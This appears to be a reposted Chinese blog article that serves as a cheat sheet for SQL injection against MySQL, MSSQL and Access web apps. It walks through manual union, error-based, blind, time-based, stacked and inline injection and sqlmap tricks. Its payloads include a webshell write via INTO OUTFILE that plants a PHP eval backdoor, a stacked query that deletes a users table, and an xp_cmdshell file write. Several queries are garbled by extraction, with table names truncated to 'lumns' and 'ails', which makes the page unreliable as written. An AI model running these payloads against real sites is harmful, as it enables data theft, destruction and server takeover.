sql注⼊获取mysql版本信息_这可能是最全的SQL注⼊总结,
很有⽤
SQL注⼊原理
当客户端提交的数据未作处理或转义直接带⼊数据库,就造成了sql注⼊。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。
SQL注⼊的分类
按变量类型分:数字型和字符型
按HTTP提交⽅式分:POST注⼊、GET注⼊和Cookie注⼊
按注⼊⽅式分:布尔注⼊、联合注⼊、多语句注⼊、报错注⼊、延时注⼊、内联注⼊
按数据库类型分:
sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis
MySQL与MSSQL及ACCESS之间的区别
1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注⼊时,后⾯必须跟表名,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使⽤limit排序,ACCESS使⽤TOP排序(TOP在MSSQL也可使⽤)
判断三种数据库的语句
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
基本⼿⼯注⼊流程
1.判断注⼊点
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
2.获取字段数
order by ⼆分法联合查询字段数,观察页⾯变化从⽽确定字段数
order by 1
order by 50
group by 译为分组,注⼊时也可使⽤,不过我没⽤过
3.查看显⽰位尝试使⽤联合注⼊
利⽤and 1=2或and 0及id=-12查看显⽰数据的位置
替换显⽰位改成SQL语句,查看信息(当前数据库,版本及⽤户名)
and 1=2 union select version(),2,3
再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from lumns),2,3
查询字段内容
如:查询test库下users表的id及uname字段,⽤'~'区分id和uname以防字符连接到⼀起
union select(select group_concat(id,'~',uname)from test.users),2,3
报错注⼊
通⽤报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
POST中的报错注⼊
布尔盲注
我在盲注中常⽤的函数:
1.char() 解ASCII码;
2.mid()截取字符串;
举例:mid('hello',1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串;
7.ascii() 查询ascii码;
猜数据库长度(利⽤⼆分法);
id=1 and (length(database()))>1
id=1 and (length(database()))>50
猜第⼀个字符,第⼆个字符,以此类推
and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1
查询当前数据库中所有表名;
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查询第⼀个表的长度;
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查询表的第⼀个字符;
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查询atelier表⾥有⼏个字段;
sql语句替换表中内容and(select count(column_name)from lumns where table_name = 'atelier' and table_schema = database())>2
查询第⼀个字段长度;
and length((select column_name from lumns where table_name='atelier' and table_schema= database()limit 0,1))>1
查询字段第⼀个字符;
and ascii(mid((select column_name from lumns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查询字段所有⾏数;
and (select count(*) from db83231_asfaa.atelier)>4
查询字段名的⾏数(查询emails表,uname字段);
and (select count(uname)ails)>7 查询uname的⾏数
查询字段内容;
length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit
0,1),1,1))>100
将查询到的ASCII码放到mysql中查询。
举例:select char(39);
延时盲注
利⽤sleep(3)和if(1=2,1,0)及case进⾏延时注⼊,⽰例:
select * from user where id='1' or sleep(3) %23
这个没什么好说的
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
如果长度⼤于10,则睡3秒,其他则0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
case定义条件,when 后⾯的1表⽰ture也代表真,当条件为真时,睡3秒,其他则0秒。
多语句注⼊
多语句意思就是可以执⾏多个语句,利⽤分号进⾏隔开
⽰例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+id=1';select if(length(user(),1,1)>1,sleep(3),1) %23';select
if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23
内联注⼊
举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
利⽤别名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
getshell
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
也可使⽤dumpfile进⾏写⼊。
outfile和dumpfile的区别:
outfile适合导库,在⾏末尾会写⼊新⾏并转义,因此不能写⼊⼆进制可执⾏⽂件。dumpfile只能执⾏⼀⾏数据。
数据库写⼊:
p_cmdshell 'echo "" > "c:www\uploadFiles2019-11404.asp"'
宽字节注⼊
当编码位gbk时,%df%27或%81%27数据为空
就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页⾯恢复正常,存在宽字节注⼊
测试出来就可以使⽤sqlmap跑了,23333
加*构造注⼊点(⽐-p更稳定),让sqlmap对构造注⼊点进⾏注⼊攻击(*优先级更⾼)
宽字节防御:
第10⾏代码必须和第24⾏必须同时使⽤,要么就更换编码格式
⼆次编码注⼊
代码中有urldecode() 函数
%2527 先解码成%27再解码成'单引号
-prefix为设置前缀 -suffix为设置后缀
设置后缀,防⽌sqlmap使⽤内联注
使⽤⾃带的脚本进⾏注⼊chardoubleencode.py
图⽚上传sql注⼊
猜结构,为时间戳加⽂件名
替换and sleep(3) 为*进⾏salmap
⼆次注⼊
abc' 数据经过addslashes过滤,单引号前⾯添加反斜杠abc',但传到数据库的数据还是abc'
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论